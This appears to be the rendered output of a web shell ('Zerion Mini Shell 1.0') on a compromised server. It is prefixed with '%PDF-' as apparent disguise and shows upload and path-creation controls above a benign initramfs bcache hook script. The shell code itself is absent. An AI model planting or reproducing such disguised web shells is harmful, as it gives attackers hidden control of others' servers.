%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/initramfs-tools/hooks/
Upload File :
Create Path :
Current File : //usr/share/initramfs-tools/hooks/bcache

#!/bin/sh

PREREQ="udev"

prereqs()
{
	echo "$PREREQ"
}

case $1 in
prereqs)
	prereqs
	exit 0
	;;
esac

. /usr/share/initramfs-tools/hook-functions

if   [ -e /etc/udev/rules.d/69-bcache.rules ]; then
    cp -pt "${DESTDIR}/lib/udev/rules.d" /etc/udev/rules.d/69-bcache.rules
elif [ -e /lib/udev/rules.d/69-bcache.rules ]; then
    cp -pt "${DESTDIR}/lib/udev/rules.d" /lib/udev/rules.d/69-bcache.rules
fi

copy_exec /lib/udev/bcache-export-cached
copy_exec /lib/udev/bcache-register
copy_exec /lib/udev/probe-bcache
manual_add_modules bcache

Zerion Mini Shell 1.0